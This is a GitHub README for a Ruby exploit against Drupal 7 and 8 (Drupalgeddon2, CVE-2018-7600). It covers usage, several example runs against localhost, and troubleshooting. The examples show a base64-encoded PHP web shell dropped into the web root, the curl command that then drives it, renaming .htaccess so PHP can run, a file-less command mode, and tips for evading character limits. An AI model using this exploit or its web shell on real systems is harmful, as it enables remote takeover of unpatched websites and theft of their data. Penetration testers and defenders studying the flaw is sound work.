Exploit for Drupal v7.x + v8.x (Drupalgeddon 2 / CVE-2018-7600 / SA-CORE-2018-002)
Switch branches/tags
Nothing to show
Clone or download
Latest commit 6138cae Sep 13, 2018
Permalink
Failed to load latest commit information.
README.md Multiple Improvements Jul 3, 2018
drupalgeddon2-customizable-beta.rb Renamed the WIP version Apr 26, 2018
drupalgeddon2.rb More verbose output Sep 13, 2018

README.md

CVE-2018-7600 | Drupal 8.5.x < 8.5.1 / 8.4.x < 8.4.6 / 8.x < 8.3.9 / 7.x? < 7.58 / < 6.x? - 'Drupalgeddon2' RCE (SA-CORE-2018-002)

Drupalggedon2 ~ https://github.com/dreadlocked/Drupalgeddon2/ (https://www.drupal.org/sa-core-2018-002)

Supports:

  • Drupal < 8.3.9 / < 8.4.6 / < 8.5.1 ~ user/register URL, attacking account/mail & #post_render parameter, using PHP's passthru function
  • Drupal < 7.58 ~ user/password URL, attacking triggering_element_name form & #post_render parameter, using PHP's passthru function
  • Works with direct commands (aka File-Less Method) or writes a PHP shell to the web root (./) or sub-directories (./sites/default/ & ./sites/default/files/)
  • Support Linux & Windows targets
  • Auto detects Drupal version (or takes a good guess!)

The user/register method was chosen for Drupal v8.x, as it will return HTTP 200, and render the output in the data JSON response (un-comment the code for timezone/#lazy_builder method, which will return HTTP 500 & blind!) (More Information)

Authors:

Notes:

  • For advance users/setups there is a more customizable exploit. See the drupalgeddon2-customizable-beta.rb section
  • Before opening an issue, please, read the troubleshooting section at the end. Thanks!

Usage:

$ ruby drupalgeddon2.rb
Usage: ruby drupalggedon2.rb <target>
       ruby drupalgeddon2.rb https://example.com
$

Drupal v8.x Example

Drupal v8.x < v8.3.9 / v8.4.x < v8.4.6 / v8.5.x < v8.5.1

$ ./drupalgeddon2.rb http://localhost/drupal-8/
[*] --==[::#Drupalggedon2::]==--
--------------------------------------------------------------------------------
[i] Target : http://localhost/drupal-8/
--------------------------------------------------------------------------------
[!] MISSING: http://localhost/drupal-8/CHANGELOG.txt    (HTTP Response: 404)
[+] Found  : http://localhost/drupal-8/core/CHANGELOG.txt    (HTTP Response: 200)
[+] Drupal?: v8.x
--------------------------------------------------------------------------------
[*] Testing: Code Execution
[i] Payload: echo TTTBJJBP
[+] Result : TTTBJJBP
[+] Good News Everyone! Target seems to be exploitable (Code execution)! w00hooOO!
--------------------------------------------------------------------------------
[*] Testing: Writing To Web Root (./)
[i] Payload: echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYyddIC4gJyAyPiYxJyApOyB9 | base64 -d | tee s.php
[+] Result : <?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }
[+] Very Good News Everyone! Wrote to the web root! Waayheeeey!!!
--------------------------------------------------------------------------------
[i] Fake shell:   curl 'http://localhost/drupal-8/s.php' -d 'c=hostname'
ubuntu140045x64-drupal>> uname -a
Linux ubuntu140045x64-drupal 3.13.0-144-generic #193-Ubuntu SMP Thu Mar 15 17:03:53 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
ubuntu140045x64-drupal>>

Drupal v7.x Example

Drupal < v7.58

$ ./drupalgeddon2.rb http://localhost/drupal-7/
[*] --==[::#Drupalggedon2::]==--
--------------------------------------------------------------------------------
[i] Target : http://localhost/drupal-7/
--------------------------------------------------------------------------------
[+] Found  : http://localhost/drupal-7/CHANGELOG.txt    (HTTP Response: 200)
[+] Drupal!: v7.31
--------------------------------------------------------------------------------
[*] Testing: Code Execution
[i] Payload: echo TKYPVVJJ
[+] Result : TKYPVVJJ
[+] Good News Everyone! Target seems to be exploitable (Code execution)! w00hooOO!
--------------------------------------------------------------------------------
[*] Testing: Writing To Web Root (./)
[i] Payload: echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYyddIC4gJyAyPiYxJyApOyB9 | base64 -d | tee s.php
[+] Result : <?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }
[+] Very Good News Everyone! Wrote to the web root! Waayheeeey!!!
--------------------------------------------------------------------------------
[i] Fake shell:   curl 'http://localhost/drupal-7/s.php' -d 'c=hostname'

ubuntu140045x64-drupal>> uptime
 14:52:33 up 4 days,  3:35,  1 user,  load average: 0.00, 0.01, 0.05
ubuntu140045x64-drupal>>

Direct Commands / Non PHP Shell (aka File-Less Method)

If either you do not want to even try and write a PHP web shell to the web server, edit the file as shown (it will fall back if it can't find a writeable location anyway):

try_phpshelltryphpshell = false

Example

$ ./drupalgeddon2.rb http://localhost/drupal-nonwrite/
[*] --==[::#Drupalggedon2::]==--
--------------------------------------------------------------------------------
[i] Target : http://localhost/drupal-nonwrite/
--------------------------------------------------------------------------------
[!] MISSING: http://localhost/drupal-nonwrite/CHANGELOG.txt    (HTTP Response: 404)
[+] Found  : http://localhost/drupal-nonwrite/core/CHANGELOG.txt    (HTTP Response: 200)
[+] Drupal?: v8.x
--------------------------------------------------------------------------------
[*] Testing: Code Execution
[i] Payload: echo HYCBAIET
[+] Result : HYCBAIET
[+] Good News Everyone! Target seems to be exploitable (Code execution)! w00hooOO!
--------------------------------------------------------------------------------
[*] Testing: Writing To Web Root (./)
[i] Payload: echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYyddIC4gJyAyPiYxJyApOyB9 | base64 -d | tee s.php
[+] Result : <?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }
[!] Target is NOT exploitable for some reason [2] (HTTP Response: 404)...    Might not have write access?
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
[*] Testing: Writing To Web Root (sites/default/)
[i] Payload: echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYyddIC4gJyAyPiYxJyApOyB9 | base64 -d | tee sites/default/s.php
[+] Result : <?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }
[!] Target is NOT exploitable for some reason [2] (HTTP Response: 404)...    Might not have write access?
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
[*] Testing: Writing To Web Root (sites/default/files/)
[*] Moving : ./sites/default/files/.htaccess
[i] Payload: mv -f sites/default/files/.htaccess sites/default/files/.htaccess-bak; echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYyddIC4gJyAyPiYxJyApOyB9 | base64 -d | tee sites/default/files/s.php
[+] Result : <?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }
[!] Target is NOT exploitable for some reason [1] (HTTP Response: 403)...    May not be able to execute PHP from here?
[!] FAILED: Couldn't find writeable web path
--------------------------------------------------------------------------------
[*] Dropping back to direct commands
drupalgeddon2>> lsb_release -a
Distributor ID:	Ubuntu
Description:	Ubuntu 14.04.5 LTS
Release:	14.04
Codename:	trusty
drupalgeddon2>>

Proxy Support

For proxy support (e.g. Burp), edit the file, replacing with your values. Example:

proxy_addr = "192.168.0.130"
proxy_port = 8080

Experimental but usable: drupalgeddon2-customizable-beta.rb

drupalgeddon2-customizable-beta.rb is intended for more advance users as its more customizable. It allows you to specify some more parameters as the PHP method to use (not only system() or passthru()) and the way to reach user/password form.

Usage examples:

$ ruby drupalgeddon2-customizable-beta.rb https://example.com 7 id passthru 0

1st parameter: Target URL
2nd parameter: Drupal version (e.g. 7 or 8)
3rd parameter: Command
4th parameter: PHP method to use (e.g. passthru, exec, system, assert...)
5th parameter: 0 for "/?q=user/password", 1 for "/user/password"

Troubleshooting:

  • The target may redirect to another path, where Drupal exists (such as HTTP 30x responses)

    • Solution: Make sure you are using the correct Drupal path
  • There is a limitations of a allowed characters that are able to be used in the payload/command

    • Solution: This is due to how the vulnerability sees them and them being encoded for the URL request. Encode the payload, decode it on the target. Such as base64
  • If the target is Linux, and isn't using "GNU base64", it may be the BSD version (or its not installed all together!)

    • Solution: which to base64 -D (rather than base64 -d) or use the file-less method
  • If the target using Windows, writing the PHP shell always fails

    • Solution: Use file-less method. This is because gets pipe to a unix program, rather than using certutil or PowerShell
  • Drupal v8.x - ./.htaccess will stop any PHP scripts from executing in ./sites/default/ if that is the writeable folder

    • Solution: Switch to the file-less method
  • Drupal v8.x - "clean URL" isn't enabled on the target

    • Solution: N/A - Not vulnerable =(
  • Drupal v7.x - If the /user/password form is disabled, you meed find another form (remember to change the exploit!)

    • Solution: form_id parameter will change depending on the form used to exploit the vulnerability

Links: